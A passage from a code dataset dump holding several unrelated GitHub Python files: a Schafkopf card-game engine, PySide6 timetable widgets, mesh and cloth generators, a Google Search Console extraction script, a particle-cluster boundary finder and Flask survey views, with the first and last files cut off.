'Expired' if et <= datetime.datetime.now() else\n 'Expires ' + display_datetime(et)),\n 'Assignments: {} -- {} avail, {} pending, {} reviewable, {} reviewed'.format(\n hit.MaxAssignments,\n hit.NumberOfAssignmentsAvailable,\n hit.NumberOfAssignmentsPending,\n int(hit.MaxAssignments) - (int(hit.NumberOfAssignmentsAvailable) + int(hit.NumberOfAssignmentsPending) + int(hit.NumberOfAssignmentsCompleted)),\n hit.NumberOfAssignmentsCompleted)\n if hasattr(hit, 'NumberOfAssignmentsAvailable')\n else 'Assignments: {} total'.format(hit.MaxAssignments),\n # For some reason, SearchHITs includes the\n # NumberOfAssignmentsFoobar fields but GetHIT doesn't.\n ] + ([] if not verbose else [\n '\\nDescription: ' + hit.Description,\n '\\nKeywords: ' + hit.Keywords\n ])) + '\\n'\n","repo_name":"johnbent/tekinged","sub_path":"mturk/old/myturk.py","file_name":"myturk.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"17781454919","text":"from copy import deepcopy\nfrom schafkopf.game_modes import NO_GAME, PARTNER_MODE, WENZ, SOLO\nfrom schafkopf.helpers import define_trumpcards\nfrom schafkopf.payouts import BASIC_PAYOUT_SOLO, BASIC_PAYOUT_PARTNER_MODE, EXTRA_PAYOUT\nfrom schafkopf.bidding_game import BiddingGame\nfrom schafkopf.trick_game import TrickGame\n\n\nclass Game:\n def __init__(self, players, game_state):\n state = deepcopy(game_state)\n self.playerlist = players\n for player, hand in zip(self.playerlist, state['player_hands']):\n player.pick_up_cards(hand)\n previous_tricks = deepcopy(state['tricks'])\n if state['current_trick'] is not None:\n previous_tricks += [state['current_trick']]\n player.set_starting_hand(hand, previous_tricks, self.playerlist.index(player))\n self.leading_player_index = state['leading_player_index']\n self.bidding_game = BiddingGame(playerlist=players, game_state=state)\n self.trick_game = TrickGame(playerlist=players, game_state=state)\n self.winners = None\n\n def get_current_player(self):\n if not self.bidding_game.finished():\n return self.bidding_game.current_player_index\n else:\n return self.trick_game.current_player_index\n\n def get_public_info(self):\n if not self.bidding_game.finished():\n return self.bidding_game.get_public_info()\n else:\n return self.trick_game.get_public_info()\n\n def get_game_state(self):\n game_state = self.get_public_info()\n game_state['game_mode'] = self.bidding_game.game_mode\n game_state['mode_proposals'] = self.bidding_game.mode_proposals\n game_state['player_hands'] = [player.get_hand() for player in self.playerlist]\n game_state['possible_actions'] = self.get_possible_actions()\n return deepcopy(game_state)\n\n def get_possible_actions(self):\n if self.bidding_game.finished():\n return self.trick_game.possible_cards(current_trick=self.trick_game.current_trick,\n hand=self.trick_game.get_current_player().get_hand())\n else:\n hand = self.bidding_game.get_current_player().get_hand()\n mode_to_beat = self.bidding_game.mode_to_beat\n return self.bidding_game.determine_possible_game_modes(hand=hand,\n mode_to_beat=mode_to_beat)\n\n def next_action(self):\n if not self.bidding_game.finished():\n self.bidding_game.next_proposal()\n if self.bidding_game.finished():\n self.prepare_trick_game()\n elif not self.trick_game.finished():\n self.trick_game.play_next_card()\n self.trick_game.trick_finished()\n\n def play(self):\n if not self.bidding_game.finished():\n self.bidding_game.play()\n self.prepare_trick_game()\n if not self.trick_game.finished():\n self.trick_game.play()\n\n def finished(self):\n if self.bidding_game.finished():\n if self.bidding_game.game_mode == (NO_GAME, None):\n return True\n else:\n return self.trick_game.finished()\n else:\n return False\n\n def prepare_trick_game(self):\n self.trick_game.offensive_players = self.bidding_game.offensive_players\n self.trick_game.mode_proposals = self.bidding_game.mode_proposals\n self.trick_game.game_mode = self.bidding_game.game_mode\n self.trick_game.trumpcards = define_trumpcards(self.trick_game.game_mode)\n\n def score_offensive_players(self):\n return sum([self.trick_game.scores[i] for i in self.trick_game.offensive_players])\n\n def determine_winners(self):\n if self.score_offensive_players() > 60:\n self.winners = self.trick_game.offensive_players\n else:\n self.winners = [pl for pl in range(len(self.playerlist)) if pl not in self.trick_game.offensive_players]\n return self.winners\n\n def get_payouts(self):\n if self.trick_game.finished():\n return [self.get_payout(playerindex) for playerindex in range(len(self.playerlist))]\n\n def get_payout(self, player):\n if self.trick_game.game_mode[0] is NO_GAME:\n return 0\n else:\n if self.trick_game.game_mode[0] == PARTNER_MODE:\n return self.get_payout_partner_mode(player)\n else:\n return self.get_payout_solo(player)\n\n def schneider(self):\n offensive_score = self.score_offensive_players()\n if offensive_score > 90 or offensive_score < 31:\n return True\n else:\n return False\n\n def schwarz(self):\n trick_winners = [trick.winner for trick in self.trick_game.tricks]\n off_players = set(self.trick_game.offensive_players)\n num_offensive_tricks = 0\n for winner in trick_winners:\n if winner in off_players:\n num_offensive_tricks += 1\n if num_offensive_tricks == 0 or num_offensive_tricks == 8:\n return True\n else:\n return False\n\n def get_payout_partner_mode(self, playerindex):\n payout = BASIC_PAYOUT_PARTNER_MODE\n if self.schneider():\n payout += EXTRA_PAYOUT\n if self.schwarz():\n payout += EXTRA_PAYOUT\n num_laufende = self.num_laufende()\n if num_laufende >= 3:\n payout += num_laufende * EXTRA_PAYOUT\n if playerindex in self.trick_game.offensive_players:\n if self.score_offensive_players() > 60:\n return payout\n else:\n return -payout\n else:\n if self.score_offensive_players() > 60:\n return -payout\n else:\n return payout\n\n def get_payout_solo(self, playerindex):\n payout = BASIC_PAYOUT_SOLO\n if self.schneider():\n payout += EXTRA_PAYOUT\n if self.schwarz():\n payout += EXTRA_PAYOUT\n num_laufende = self.num_laufende()\n if self.trick_game.game_mode[0] == WENZ:\n if num_laufende >= 2:\n payout += num_laufende * EXTRA_PAYOUT\n else:\n if num_laufende >= 3:\n payout += num_laufende * EXTRA_PAYOUT\n if playerindex in self.trick_game.offensive_players:\n if self.score_offensive_players() > 60:\n return 3 * payout\n else:\n return -3 * payout\n else:\n if self.score_offensive_players() > 60:\n return -payout\n else:\n return payout\n\n def num_laufende(self):\n num = 1\n if self.player_with_highest_trump() in self.trick_game.offensive_players:\n team_with_laufende = self.trick_game.offensive_players\n else:\n team_with_laufende = [player for player in range(len(self.playerlist))\n if player not in self.trick_game.offensive_players]\n team_cards = self.get_teamcards(team_with_laufende)\n next_highest_trump_in_team = True\n while next_highest_trump_in_team and num < len(self.trick_game.trumpcards):\n next_trump = self.trick_game.trumpcards[num]\n if next_trump in team_cards:\n num += 1\n else:\n next_highest_trump_in_team = False\n return num\n\n def player_with_highest_trump(self):\n highest_trump = self.trick_game.trumpcards[0]\n for player in self.playerlist:\n if highest_trump in player.get_starting_hand():\n return self.playerlist.index(player)\n\n def get_teamcards(self, team):\n teamcards = []\n for playerindex in team:\n player = self.playerlist[playerindex]\n teamcards += player.get_starting_hand()\n return teamcards\n","repo_name":"Taschee/schafkopf","sub_path":"schafkopf/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":7948,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"5555267645","text":"from PySide6.QtCore import Qt\nfrom PySide6.QtWidgets import QWidget, QPushButton, QTextEdit, QGridLayout, QLabel\n\nfrom planner.view.grid_widget import BasicGridWidget, detailed_description\n\n\nclass PlanWidget(QWidget):\n\n def __init__(self, parent, groups):\n super(PlanWidget, self).__init__(parent)\n w_grid_widget, h_grid_widget = 950, 640\n\n self.setFixedWidth(w_grid_widget)\n self.setFixedHeight(h_grid_widget)\n\n self.grid_widget = BasicGridWidget(self,\n description=detailed_description,\n set_color=False)\n self.grid_widget.load_groups(groups)\n self.update()\n\n\nclass PlanTabWidget(QWidget):\n\n def __init__(self, parent, timetable, name):\n super(PlanTabWidget, self).__init__(parent)\n\n self.timetable = timetable\n self.plan_widget = PlanWidget(self, timetable)\n\n self.generate_codes_button = QPushButton()\n\n self.codes_text_label = QLabel(self)\n self.codes_text_label.setText(\"Group codes\")\n\n self.codes_text_widget = QTextEdit(self)\n self.codes_text_widget.setFixedHeight(440)\n self.codes_text_widget.setFixedWidth(400)\n self.codes_text_widget.setReadOnly(True)\n grid_layout = QGridLayout()\n grid_layout.addWidget(self.plan_widget, 0, 0, 20, 1)\n grid_layout.addWidget(self.codes_text_label, 2, 1, 1, 1, Qt.AlignmentFlag.AlignTop)\n grid_layout.addWidget(self.codes_text_widget, 3, 1, 1, 1, Qt.AlignmentFlag.AlignTop)\n\n # self.generate_codes_button.clicked.connect(self.generate_codes)\n\n self.setLayout(grid_layout)\n\n for group in self.timetable:\n self.codes_text_widget.append(f\"{group.course.name} ({group.course.code}) - {group.code}\")\n\n parent.addTab(self, name)\n\n","repo_name":"farqlia/UniPlanner","sub_path":"planner/view/plan_widget.py","file_name":"plan_widget.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42876230802","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render\n\n\n# Create your views here.\n@login_required\ndef admin_home(request):\n context = {\n 'title': 'Admin'\n }\n return render(request, 'Backend/admin_home.html', context)\n","repo_name":"ShakilAhmmed/academy_management","sub_path":"admin_backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"27215580729","text":"import numpy as np\r\nimport cv2\r\n\r\nmfwMatrix = np.matrix('0.5 0 0; 0 0.5 0; 0 0 1') # Move foward 0.5 meters\r\nprint(mfwMatrix)\r\n\r\npath = 'Images/'\r\nimgdepth = cv2.imread(path + 'person_depth.png',0)\r\nimgrgb = cv2.imread(path + 'person_rgb.png')\r\n\r\nh, w, retval = imgrgb.shape\r\n\r\nretval = cv2.rgbd.RgbdNormals_create(h, w, cv2.CV_64F, np.matrix('525 0 319.5, 0 525 239.5, 0 0 1'), window_size=5)\r\n","repo_name":"Carlostart/UNI-Vision-por-computador","sub_path":"Exercise8/Exercise8.py","file_name":"Exercise8.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21420301225","text":"import numpy as np\nimport pygalmesh\n\ndef createSphere(alpha, beta, radius=1, pos=(0.,0.,0.)):\n vertices = []\n deltaTheta = np.pi/alpha\n deltaPhi = 2*np.pi/beta\n theta,phi = 0,0\n # where 0 <= theta < 2*pi\n for ring in range(alpha-1):\n theta += deltaTheta\n for p in range(beta):\n phi += deltaPhi\n x = np.sin(theta) * np.cos(phi) * radius + pos[0]\n y = np.sin(theta) * np.sin(phi) * radius + pos[1]\n z = np.cos(theta) * radius + pos[2]\n vertices.append([x,y,z])\n # add two poles\n vertices.append([pos[0],pos[1], 1*radius + pos[2]])\n vertices.append([pos[0],pos[1],-1*radius + pos[2]])\n return vertices\n\n \ndef createRandomCloth(n, center=(0.,0.,0.)):\n x = .5 * np.random.rand(n) + center[0]/2\n y = .5 * np.random.rand(n) + center[1]/2\n z = 1e-5 * np.random.rand(n)+center[2]\n return list(np.vstack([x, y, z]).T)\n\ndef createRectCloth(w, h, dw, dh, leftbtm=(0.,0.,0.)):\n points = []\n for i in range(w):\n for j in range(h):\n x = dw * i + leftbtm[0]\n y = dh * j + leftbtm[1]\n z = 1e-9*i*j + leftbtm[2]\n points.append([x,y,z])\n return points\n\ndef createBowCloth(w, h, dw, dh, radius=.1, leftbtm=(0.,0.,0.), dir=1.):\n points = []\n for i in range(w):\n for j in range(h):\n x = leftbtm[0] + dw * i\n y = leftbtm[1] + dh * j\n z = leftbtm[2] + ( np.sin(np.pi*(i//w + (j+.5)/h)) + np.sin(np.pi*(j//h + (i+.5)/w)) ) * radius/2 * dir\n points.append([x,y,z])\n return points\n\ndef createSemiSphereCloth(w, h, dw, dh, radius=.1, leftbtm=(0.,0.,0.), dir=1.):\n points = []\n for i in range(w):\n for j in range(h):\n x = leftbtm[0] + dw * i\n y = leftbtm[1] + dh * j\n z = leftbtm[2] + max(( np.sin(np.pi*(i//w + (j+.5)/h)) + np.sin(np.pi*(j//h + (i+.5)/w)) -1.1 ), 0) * radius * dir\n points.append([x,y,z])\n return points\n\ndef createIDK(w, h, dw, dh, leftbtm=(0.,0.,0.)):\n points = []\n for i in range(w):\n for j in range(h):\n x = leftbtm[0] + dw * i\n y = leftbtm[1] + dh * j\n z = leftbtm[2] + ( np.sin(np.pi*(i//w + (j+.5)/h)) + np.sin(np.pi*(j//h + (i+.5)/w)) ) /2 * .1\n points.append([x,y,z])\n z = 1e-9*i*j + leftbtm[2]\n points.append([x,y,z])\n return points\n\ndef createGalCube(pos, res):\n x_ = np.linspace(.0, 1., res)\n y_ = np.linspace(.0, 1., res)\n z_ = np.linspace(.0, 1., res)\n x, y, z = np.meshgrid(x_, y_, z_)\n\n vol = np.empty((res, res, res), dtype=np.uint8)\n idx = abs(x) + abs(y) + abs(z) < 5\n vol[idx] = 1\n vol[~idx] = 0\n voxel_size = (0.1, 0.1, 0.1)\n\n mesh = pygalmesh.generate_from_array(\n vol, voxel_size, max_facet_distance=.2, max_cell_circumradius=0.4, verbose=False\n )\n return np.array(mesh.points)/10 + pos, mesh.cells\n\ndef createGalBall(r=1., surface=False):\n s = pygalmesh.Ball([0, 0, 0], r)\n if surface:\n mesh = pygalmesh.generate_surface_mesh(s,\n min_facet_angle=15.0,\n max_radius_surface_delaunay_ball=0.3,\n max_facet_distance=0.1, verbose=False\n )\n else:\n mesh = pygalmesh.generate_mesh(s, max_cell_circumradius=0.5, verbose=False)\n return np.array(mesh.points)/10 + 0.5, mesh.cells\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n from scipy.spatial import Delaunay\n\n points = np.array(createSemiSphereCloth(50,25,0.02, 0.02, .1,(.25, .25, .5)) + createRectCloth(50,25,0.02, 0.02, (.25, .25, .5)))\n\n tri = Delaunay(points)\n ig = plt.figure()\n ax = plt.axes(projection='3d')\n # for tr in tri.simplices:\n # pts = points[tr, :]\n # ax.plot3D(pts[[0,1],0], pts[[0,1],1], pts[[0,1],2], color='g', lw='0.1')\n # ax.plot3D(pts[[0,2],0], pts[[0,2],1], pts[[0,2],2], color='g', lw='0.1')\n # ax.plot3D(pts[[0,3],0], pts[[0,3],1], pts[[0,3],2], color='g', lw='0.1')\n # ax.plot3D(pts[[1,2],0], pts[[1,2],1], pts[[1,2],2], color='g', lw='0.1')\n # ax.plot3D(pts[[1,3],0], pts[[1,3],1], pts[[1,3],2], color='g', lw='0.1')\n # ax.plot3D(pts[[2,3],0], pts[[2,3],1], pts[[2,3],2], color='g', lw='0.1')\n\n ax.scatter(points[:,0], points[:,1], points[:,2], color='b')\n plt.show()","repo_name":"AmosChenZixuan/Taichi-PBD-3D","sub_path":"include/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":4333,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"70515067613","text":"#!/usr/bin/env python\n'''\n@author: Jean-Christophe Chouinard. \n@role: Sr. SEO Specialist at SEEK.com.au\n@website: jcchouinard.com\n@LinkedIn: linkedin.com/in/jeanchristophechouinard/ \n@Twitter: twitter.com/@ChouinardJC\n\nLearn Python for SEO\njcchouinard.com/python-for-seo\n\nGet API Keys\njcchouinard.com/how-to-get-google-search-console-api-keys/\n\nHow to format your request\njcchouinard.com/what-is-google-search-console-api/\n'''\n\nimport pandas as pd\n\nfrom collections import defaultdict\nimport datetime\nfrom dateutil import relativedelta\n\nfrom date_manip import date_to_str\nfrom oauth import authorize_creds, execute_request\n\ntoday = datetime.datetime.now()\ndays = relativedelta.relativedelta(days=3)\ndefault_end = today - days \n\n# Run the extraction\ndef gsc_with_filters(webmasters_service,site,creds,dimension,operator,expression,start_date,end_date=default_end,rowLimit=1000):\n scDict = defaultdict(list) # Create a dict to populate with extraction\n request = {\n 'startDate': date_to_str(start_date),\n 'endDate': date_to_str(end_date),\n 'dimensions': ['date','page','query'], #country, device, page, query, searchAppearance\n 'dimensionFilterGroups': [{\n 'filters': [{\n 'dimension': dimension, \n 'operator': operator,\n 'expression': expression\n }]\n }],\n 'rowLimit': rowLimit\n }\n response = execute_request(webmasters_service, site, request)\n try:\n for row in response['rows']:\n scDict['date'].append(row['keys'][0] or 0) \n scDict['page'].append(row['keys'][1] or 0)\n scDict['query'].append(row['keys'][2] or 0)\n scDict['clicks'].append(row['clicks'] or 0)\n #scDict['ctr'].append(row['ctr'] or 0)\n #scDict['impressions'].append(row['impressions'] or 0)\n #scDict['position'].append(row['position'] or 0)\n except Exception as e:\n print(f'An error occurred: {e}')\n\n # Add response to dataframe \n df = pd.DataFrame(data = scDict)\n return df\n","repo_name":"jcchouinard/GoogleSearchConsole-Tutorial","sub_path":"gsc_with_filters.py","file_name":"gsc_with_filters.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"32"} +{"seq_id":"30703206170","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.neighbors import NearestNeighbors\nimport time\nfrom skeletonPlot import skeletonPlot\n\n# Development of data analysis tools for the topological and temporal analysis of clusters of particles in turbulent flow\n# Script Description: This script is in charge of determining, for a set of isolated particle clusters within different\n# snapshots in Z, the cluster particles which form the boundary of the cluster. In order to do so, the main class\n# \"boundaryFinder\" invokes, for every snapshot in Z, the class \"boundaryTraveller\", the latter obtaining a closed particle\n# boundary for each of the clusters in the dataset.\n# Álvaro Tomás Gil - UIUC 2020\n\nclass boundaryFinder:\n \"\"\"This is the main class of the script, in charge of calling the secondary class for every Z value in the dataset,\n performing an additional polishing of the obtained cluster boundaries, and plotting the resulting boundaries. For the\n input:\n data: 2D Array containing the 3D positions of all particles, arranged into a discrete set of Z levels, to which the\n particle positions have been normally projected\n labels: List which labels each of the elements in data based on their DBSCAN cluster label. In case this label is -1,\n the referenced element corresponds to a void particle\n eps: Float defining the eps value based on which clustering analysis with DBSCAN has been performed. This is used as a\n reference length in this method.\n folder: folder in which to save resulting plots\"\"\"\n def __init__(self, data, labels, eps, folder=''):\n self.data = data\n self.labels = labels\n self.eps = eps\n self.folder = folder\n self.zs = np.unique(self.data[:, 2])\n self.fakeSkel = np.array([0, 0, 0])\n\n\n def bound2dUnsupervised(self, z, k=0.5, dirs=6):\n \"\"\"This method is in charge of invoking the secondary class in order to perform the boundary analysis of the clusters\n for which Z is the same as the specified value.\"\"\"\n self.bT = boundaryTraveller(z, self.data, self.labels, self.eps, k=k, dirs=dirs)\n boundary, plane, cluster = self.bT.run()\n return boundary, plane, cluster\n\n def sweep(self, runs=1, plot3d=True, plot=[], k=0.5, dirs=6):\n \"\"\"This method is central to the current class, as it sweeps for the different Z values existing in the dataset,\n and calls the cluster boundary determination. Moreover, this method calls the method in charge of polishing\n the resulting cluster boundaries and plots the final results.\"\"\"\n start = time.time()\n print('Sweep along Z of Boundary Finder')\n self.boundaries = []\n self.bound3d = np.array([0, 0, 0])\n self.clusters = np.array([0, 0, 0])\n\n for i, z in enumerate(self.zs):\n print('Z = ' + str(round(z, 3)))\n complete = []\n for j in range(runs):\n boundary, plane, cluster = self.bound2dUnsupervised(z, k, dirs)\n # Fake skel is an array whose exclusive function is for plotting the resulting cluster boundaries\n self.fakeSkel = np.vstack((self.fakeSkel, cluster[0, :]))\n complete = complete + boundary\n boundary = list(set(complete))\n self.boundaries.append(boundary)\n\n #bound3d is the 2d array of all cluster boundary particle positions\n self.bound3d = np.vstack((self.bound3d, plane[boundary, :]))\n self.clusters = np.vstack((self.clusters, cluster))\n\n\n print('Execution Time: ' + str(round(time.time() - start, 3)))\n\n self.bound3d = self.bound3d[1:, :]\n self.clusters = self.clusters[1:, :]\n\n self.polishBoundaries()\n\n if plot3d:\n self.plotAll()\n\n for i in plot:\n z = self.zs[i]\n self.boundaryPlot(z)\n\n def polishBoundaries(self, p=0.2, kb=0.3):\n \"\"\"This method polishes the obtained cluster boundaries by deleting boundary particles with less than a fraction\n p of the average number of neighboring boundary particles within a neighborhood of kb*epsilon\"\"\"\n self.nbrs = NearestNeighbors(radius=kb * self.eps, algorithm='auto')\n self.nbrs.fit(self.bound3d)\n dis, ind = self.nbrs.radius_neighbors()\n neighs = []\n for i, v in enumerate(ind):\n neighs.append(len(v))\n\n ave = np.mean(neighs)\n keep = [i for i in range(len(neighs)) if neighs[i] > p * ave]\n print('Ave Neighs: ' + str(ave) + '. Min Neighs: ' + str(np.min(neighs)) + '. Killed: ' + str(\n len(self.bound3d) - len(keep)))\n self.bound3d = self.bound3d[keep, :]\n\n def boundaryPlot(self, z):\n \"\"\"Given an array of boundary particle positions 'boundary', this method plots these results. \"\"\"\n take = self.bound3d[:, 2] == z\n boundary = self.bound3d[take, :]\n take = self.clusters[:, 2] == z\n cluster = self.clusters[take, :]\n fig, ax = plt.subplots()\n fig.set_size_inches(18.5, 9.5)\n ax.set_title('Boundary Particles of Cluster for Z = ' + '{0:03f}'.format(boundary[0, 2]), fontsize=23)\n ax.set_xlabel('x [m]', fontsize=18)\n ax.set_ylabel('y [m]', fontsize=18)\n plt.axis('equal')\n ax.scatter(boundary[:, 0], boundary[:, 1], s=0.8, c='red')\n ax.scatter(cluster[:, 0], cluster[:, 1], s=0.8, c='blue')\n\n def plotAll(self):\n \"\"\"This method invokes the plotting of cluster boundaries for all of the considered Z levels\"\"\"\n self.fakeSkel = self.fakeSkel[1:]\n sP = skeletonPlot(self.bound3d, self.fakeSkel, folder=self.folder)\n sP.snapPlot(title='Lagrangian Boundary')\n\n\nclass boundaryTraveller:\n \"\"\"For a particular Z level, this class is in charge of determining the cluster particles which represent cluster\n boundaries. For the cluster particles contained in less dense regions, the algorithm proceeds by measuring the angles\n between successive particle-neighboring particle vectors. If any of these angles for a particular cluster particle\n is larger than a specified threshold value, the cluster particle is considered to be a boundary, and the neighboring\n particles adjacent to such gap are stored for later analysis. For the inputs:\n z: Float describing the z value of data to analyze\n data: 2D Array containing the 3D positions of all particles, arranged into a discrete set of Z levels, to which the\n particle positions have been normally projected\n labels: List which labels each of the elements in data based on their DBSCAN cluster label. In case this label is -1,\n the referenced element corresponds to a void particle\n radius: Float defining the reference length to employ for the neighborhood radius of each particle under analysis\n dirs: Dividing 2*Pi by this float, one obtains the minimum separation angle between adjacent neighboring particles\n for the particle under analysis to be considered as a boundary\n k: Multiplied by radius, this float defines the neighborhood radius based on which the neighbors of each particle are\n analyzed\n dense: Proportion of the maximum number density for a particle to be considered by this algorithm\n \"\"\"\n def __init__(self, z, data, labels, radius=0.001, dirs=6, k=0.5, dense=0.75):\n self.z = z\n self.dir = dirs\n self.plane = data[data[:, 2] == z, :2]\n self.labels2d = labels[data[:, 2] == z]\n self.cluster = self.plane[self.labels2d != -1, :] #only cluster particles\n self.clustInd = np.ndarray.flatten(np.argwhere(self.labels2d != -1)) # references plane\n\n self.nbrs = NearestNeighbors(radius=radius * k, algorithm='auto').fit(self.cluster)\n self.distances, self.indices = self.nbrs.radius_neighbors(self.cluster)\n\n self.N = []\n for i in self.indices:\n self.N.append(len(i))\n\n self.notdense = [i for i in range(len(self.N)) if self.N[i] < dense*np.max(self.N)] #extracts less dense particles\n\n self.taken = np.array(\n []) # Taken and Queue both index Cluster and ClustInd, whileas ClustInd references self.plane\n self.queue = np.array([])\n self.boundary = [] # References self.plane\n\n self.theta = [(i - 1) * 2 * np.pi / self.dir for i in range(1, self.dir + 1)]\n self.ri = np.array([[np.cos(th), np.sin(th)] for th in self.theta])\n\n self.test = np.random.randint(0, len(self.cluster))\n\n print('\tboundaryTraveller: dirs = ' + str(dirs) + '; k = ' + str(k) + ';')\n\n def nextInLine(self):\n \"\"\"This method is in charge of determine, at each iteration of the algorithm, which particle to analyze next. If\n the queue of particles is empty, a particle from the less denser group of particles is randomly sampled.\"\"\"\n if len(self.queue) > 0:\n take = self.queue[0]\n self.queue = np.delete(self.queue, 0)\n else:\n poss = np.setdiff1d(self.notdense, self.taken)\n take = poss[np.random.randint(0, len(poss))]\n\n self.taken = np.append(self.taken, take)\n return int(take)\n\n def substractAngles(self, this, dumping=False):\n \"\"\"Given a particle indexed by 'this', this method examines all of its neighboring particles and measures the\n angles between adjacent particle-neighboring particle vectors. All neighboring particles for which the angle\n of separation is greater than the specified threshold are stored in 'adj' to be added to the queue. If dumping\n is allowed, all the other neighboring particles are excluded from further processing by the algorithm via 'dump'.\"\"\"\n pos = self.cluster[this, :]\n neighs = self.indices[this]\n neighs = neighs[neighs != this]\n vecs = np.array([0, 0])\n angs = np.array([])\n\n for i in neighs:\n that = self.cluster[i, :]\n mag = np.linalg.norm(that - pos)\n if mag > 0:\n vecs = np.vstack((vecs, (that - pos) / mag))\n theta = np.arctan2(vecs[-1, 1], vecs[-1, 0])\n if theta < 0:\n theta += 2 * np.pi\n angs = np.append(angs, theta)\n\n if len(angs) > 0:\n vecs = vecs[1:, :]\n sortI = np.argsort(angs)\n angs = np.sort(angs)\n\n sortI = np.append(sortI, sortI[0])\n angs = np.append(angs, angs[0] + 2 * np.pi)\n\n delta = np.diff(angs)\n gaps = np.flatnonzero(delta >= 2 * np.pi / self.dir)\n adjacent = np.concatenate((gaps, gaps + 1))\n adj = np.unique(neighs[sortI[adjacent]])\n\n if dumping:\n dump = [i for i in neighs if i not in adj]\n else:\n dump = []\n\n # print('Newline:\t\t\t', angs*180/np.pi, delta*180/np.pi, adjacent, adj)\n\n else:\n adj = []\n dump = []\n\n return adj, dump\n\n def processPoint(self, this):\n \"\"\"For a cluster particle indexed via 'this', this method extracts whether this particle can be considered as a\n cluster boundary particle. It also stores relevant neighboring particles of this particle in the particle\n queue for further analysis, and all dumped neighboring particles in the list of taken particles to exclude them\n from further analysis.\"\"\"\n take, discard = self.substractAngles(this)\n\n if len(take) > 0:\n self.boundary.append(int(self.clustInd[this]))\n add2queue = [v for v in take if v not in self.taken]\n self.queue = np.append(self.queue, add2queue)\n\n if len(discard) > 0:\n add2taken = [v for v in discard if v not in self.taken]\n self.taken = np.append(self.taken, add2taken)\n\n def run(self):\n \"\"\"This method executes the boundary determining algorithm, by sampling a cluster particle as per\n nextInLine and processing such particle with processPoint. What results is boundary, a list of indexes of\n boundary particles referencing plane, plane, an array of particle positions for the current Z level, and cluster,\n an array of cluster particle positions for the current Z level.\"\"\"\n while len(self.taken) < len(self.notdense):\n this = self.nextInLine()\n # print('Next Point in Line: ', this)\n self.processPoint(this)\n # print(self.boundary.shape, self.plane.shape, self.cluster.shape)\n self.plane = np.hstack((self.plane, self.z * np.ones((len(self.plane), 1))))\n self.cluster = self.plane[np.setdiff1d(self.clustInd, self.boundary), :]\n return self.boundary, self.plane, self.cluster\n\n","repo_name":"altogi/PLFA","sub_path":"boundaryFinder.py","file_name":"boundaryFinder.py","file_ext":"py","file_size_in_byte":12727,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"72232680090","text":"from flask import Flask, Blueprint,flash, session, request, render_template, g, redirect, send_file, url_for\nimport app.forms.forms as forms\nfrom app.home.models import User\nfrom app.util.database.database import db_session\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom app.forms.decorators import consent_required\nimport uuid\n\nmod = Blueprint('forms',__name__,url_prefix='/forms')\n\n@mod.route('/consent/show/', methods=[\"POST\", \"GET\"])\ndef get_consent():\n return render_template('forms/consent_form.html')\n\n@mod.route('/consent/submit/', methods=[\"POST\", \"GET\"])\ndef submit_consent():\n if 'consent-check' in request.form: # user checked consent box\n session['consent'] = True\n return redirect(url_for('forms.get_pretest'))\n else:\n return redirect(url_for('forms.get_consent'))\n\n@mod.route('/pretest/show/', methods=[\"POST\", \"GET\"])\n@consent_required\ndef get_pretest():\n form = forms.generate_survey_instance_form(\"pre\") #basic_form.RegistrationForm()\n return render_template('forms/pretest_survey.html',form=form)\n\n@mod.route('/pretest/submit/', methods=[\"POST\"])\n@consent_required\ndef submit_pretest():\n form = forms.generate_survey_instance_form(\"pre\",request.form)\n forms.submit_user_responses(session['user_id'],form)\n return redirect(url_for('scalar.tutorial'))\n\n@mod.route('/posttest/show/', methods=[\"POST\", \"GET\"])\n@consent_required\ndef get_posttest():\n form = forms.generate_survey_instance_form(\"post\") #basic_form.RegistrationForm()\n return render_template('forms/posttest_survey.html',form=form)\n\n@mod.route('/posttest/submit/', methods=[\"POST\"])\n@consent_required\ndef submit_posttest():\n form = forms.generate_survey_instance_form(\"post\",request.form)\n forms.submit_user_responses(session['user_id'],form)\n return redirect(url_for('home.done'))\n\n\n@mod.before_request\ndef before_request(exception=None):\n g.consent = None\n if 'consent' in session:\n g.consent = session['consent']\n g.user = None\n if 'user_id' not in session:\n session['user_id'] = str(uuid.uuid4())\n try:\n g.user = db_session.query(User).filter_by(flask_session_id=session['user_id']).one()\n g.user.set_last_update()\n except NoResultFound: # user not found\n g.user = User(session['user_id'])\n db_session.add(g.user)\n db_session.commit()\n\n@mod.teardown_request\ndef teardown_request(exception=None):\n if 'user_id' in session:\n try:\n user = db_session.query(User).filter_by(flask_session_id=session['user_id']).one()\n user.set_last_update()\n db_session.add(user)\n db_session.commit()\n except:\n current_app.logger.warning(\"unable to update last update time for user %r\" \\\n % (user))\n\n db_session.remove()\n\n\n","repo_name":"leibatt/user_study","sub_path":"app/forms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32103660429","text":"from flask import Flask\nfrom flask import request\nimport json\nfrom date.t_clean import t_clean_json\nfrom date.track_logs import track_logs\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello World!'\n\n@app.route('/callback/soloads',methods=['POST','GET'])\ndef callback():\n data = {\n \"code\": 0,\n \"msg\": \"ok\",\n \"result\": 0\n }\n return 